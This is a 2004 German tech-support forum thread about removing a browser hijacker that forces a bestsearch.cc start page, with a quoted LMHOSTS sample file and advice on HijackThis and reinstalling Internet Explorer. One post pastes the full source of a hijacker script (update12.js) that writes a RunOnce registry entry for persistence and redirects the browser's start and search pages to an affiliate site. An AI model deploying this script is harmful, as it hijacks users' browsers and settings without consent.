[dreiknochen]

Und jetzt die Imhosts.sam:

# Copyright © 1993-1999 Microsoft Corp.
#
# Dies ist eine Beispieldatei für LMHOSTS, wie sie von Microsoft TCP/IP
# für Windows 2000 verwendet wird.
# Sie ist mit der LMHOSTS-Datei von Microsoft TCP/IP für LAN Manager 2.x
# kompatibel.
# Bearbeiten Sie diese Datei mit einem ASCII-Editor.
#
# In dieser Datei werden einzelnen IP-Adressen die entsprechenden
# Computernamen (NetBIOS-Namen) zugeordnet. Jeder Eintrag sollte aus
# einer einzelnen Zeile bestehen.
# Die IP-Adresse wird in der ersten Spalte eingetragen, gefolgt vom
# zugehörigen Computer-Namen. Die Adresse und der Computer-Name müssen
# dabei durch mindestens ein Leerzeichen oder ein Tabulatorzeichen
# getrennt sein.
# Das Zeichen "#" wird gewöhnlich Kommentaren vorangestellt. Ausnahmen
# hiervon sind die folgenden Erweiterungen:
#
# #PRE
# #DOM:<Domäne>
# #INCLUDE <Dateiname>
# #BEGIN_ALTERNATE
# #END_ALTERNATE
# \0xnn (Unterstützung nichtdarstellbarer Zeichen)
#
# Die Erweiterung "#PRE" wird nach dem Computer-Namen angegeben, wenn
# dieser Eintrag bereits zu Anfang in den Namen-Cache geladen werden
# soll. Standardmäßig werden die Einträge nicht zu Anfang in den Namen-
# Cache geladen, sie werden jedoch auch nur dann ausgewertet, wenn die
# dynamische Namensauswertung fehlschlägt.
#
# Die Erweiterung "#DOM:<Domäne>" wird nach dem Computer-Namen angegeben,
# wenn der Eintrag mit einer Domäne verknüpft werden soll.
# Dies wirkt sich auf das Verhalten des Computer-Suchdienstes und des
# Anmeldedienstes in der TCP/IP-Umgebung aus.
# Die Erweiterung "DOM:<Domäne>" kann zusammen mit der Erweiterung "PRE"
# für einen Eintrag angegeben werden.
#
# Die Angabe von "#INCLUDE <Dateiname>" veranlasst den NetBIOS Helper-
# Dienst die angegebene Datei zu suchen und sie wie eine lokale Datei
# auszuwerten. Für <Dateiname> werden UNC-Namen akzeptiert. Dadurch ist
# es möglich, eine LMHOSTS-Datei zentral auf einem Server zu verwalten.
# Befindet sich der Server außerhalb des Broadcast-Bereichs, ist eine
# Adresszuordnung für diesen Server vor der "#INCLUDE"-Anweisung not-
# wendig.
#
# Die Anweisungen "#BEGIN_ALTERNATE" und "#END_ALTERNATE" ermöglichen die
# Gruppierung von mehreren "#INCLUDE"-Anweisungen.
# Ist eine "INCLUDE"-Anweisung erfolgreich, werden alle weiteren
# "INCLUDE-ANWEISUNGEN" übersprungen und die Gruppe verlassen.
#
# Nichtdarstellbare Zeichen können im Computer-Namen enhalten sein.
# Solche Zeichen müssen als Hex-Wert in der \0xnn-Notation angegeben
# werden und zusammen mit dem NetBIOS-Namen in Anführungszeichen
# eingeschlossen werden.
#
#
# Beispiel:
#
# 102.54.94.97 maestro #PRE #DOM:technik # DC von "Technik"
# 102.54.94.102 "spiele \0x14" # besonderer Server
# 102.54.94.123 nordpol #PRE # Server in 3/4317
# #BEGIN_ALTERNATE
# #INCLUDE \\lokal\public\lmhosts
# #INCLUDE \\maestro\public\lmhosts
# #END_ALTERNATE
#
# In diesem Beispiel enthält der Server "spiele" ein Sonderzeichen
# im Namen, und der Server "nordpol" wird bereits zu Anfang in den
# Namen-Cache geladen.
# Die Adresszuordnung für den Server "maestro" wird angegeben, um diesen
# Server weiter unten in der #INCLUDE-Gruppe verwenden zu können.
# Wenn der Server "lokal" nicht verfügbar ist, wird die zentrale LMHOSTS-
# Datei auf "maestro" verwendet.
#
# Beachten Sie, dass die gesamte Datei bei jeder Auswertung durchsucht wird,
# einschließlich der Kommentarzeilen. Es wird daher empfohlen, die obigen
# Kommentarzeilen zu entfernen.

[hans_maulwurf]

Ok das scheints nich zu sein sry war nur so ne Idee

[Rika]

Die hosts legt die DNS-Auflösung unabhängig vom DNS-Server für die enthalten Einträge fest.

Diverse Malware versucht dann "Sicherheitsseiten" wie symantec.com nach 127.0.0.1 = du selber aufzulösen, was dann darin resultiert daß du diese Webseiten ncht mehr aufrufen kannst.

[dreiknochen]

Trotzdem Danke, Hans Maulwurf.
Auch noch mal Dank an Imperator.

Nachdem ich die "Bösen" und "evtl.Bösen" Punkte "weggefixt" habe,
habe ich mich nach dem Neustart natürlich noch mal ins Netz eingwählt und die
vermadeldeite "bestsearch.cc-Startseite" ist wenigstens schon mal weg!
Hoffe, dass es auch so bleibt.

Hab dann nochmal "gehijackt" (alles neue Begriffe für mich) und mir die Auswertung angeschaut.
Auch alles im grünen Bereich.


Nur...

...mein Outlook Express zeigt mir immer noch nicht die Nachrichten an.
Ich kann sie mir zwar unter "Eigenschaften" > "Details" > dann "Quelltext" anschauen, aber die Dateianhänge werd ich so wohl nicht öffnen können.

Alle Betreffzeilen in allen Ordnern sind les- und anklickbar,
nur eben nicht im Nachrichtenfenster lesbar.

Vielleicht hat es ja jetzt nichts mit dem aktuellen Problem zu tun,
glaube aber nicht an solche Zufälle,
womöglich werde ich wohl nochmal Outlook neu installieren müssen,
oder...?


Ich muss jetzt aber leider erst mal los,
komme so um 23 Uhr zurück und schau hier noch mal rein,
vielleicht gibt es ja noch ne einfachere Lösung.

Auf jeden Fall noch mal vielen Dank für eure Mühe,
bis dann,

[dreiknochen]

Alles klar,

hab IE 6 mit dem dazugehörigen Outlook Express deinstalliert,
anschließend wieder installiert.
Da ich vorher noch den 5er drauf hatte,
gingen nicht einmal meine ganzen EMail-Nachrichten und Adressen verloren.
Jetzt erscheinen wieder alle Nachrichten im Vorschaufenster.


Und der Link mit dem dazugehörigen Programm (www.hijackthis.de) ist
einfach genial.

Vielen Dank nochmal euch allen!!!

[The Dog]

Zitat (chesterb: 19.07.2004, 20:24)

Wieso überhaupt IE? IE ist so sch****!!!! Wie wärs mit Opera, Mozilla oder SlimBrowser? Ich hab auch mal das selbe gehabt und es lässt sich nicht verhindern das sich die Startseite dauert ändert!!!

MFG
chesterb

hast schon Recht , aber der slimbrowser ist der IE !!!
Ist nur ein Aufsatz dafür

[MaDDiN]

Kann es vielleicht sein (was heißt vielleicht, das ist es!) das es an der update12.js liegt?

Ich bekomme diese Datei immer wieder.
Hier der Inhalt der update12.js:

var url = "http://searchcentral.cc/index.php?v=4&aff=2164";
var burl = "http://searchcentral.cc/search.php?v=4&aff=2164";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update12.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");

Wenn man die ausführt, die Startmenüeinträge immer wieder...

Gibt es eine Möglichkeit, wie man das Ausführen dieser Datei verhindern kann?

[DiNozzo]

Zitat (MaDDiN: 28.07.2004, 12:50)

Gibt es eine Möglichkeit, wie man das Ausführen dieser Datei verhindern kann?

Die sicherste ist wohl eine Neuistallation.

Du würdest diesen Fehler u.u. vielleicht beseitigen können, aber ob du dem Sys dann nocht vertrauen kannst ...

[TaOps_Heinz]

Warum Outlook (Express) und das IE zeug überhaupt noch nehmen! Nehmt doch den FF und Thunderbird anstatt IE und Outlook! ist viel sicherer und auch schneller! da habt ihr dann nicht mehr die Probs, weil das zeug bei richtiger Benutzung nciht auf euren rechner kommt!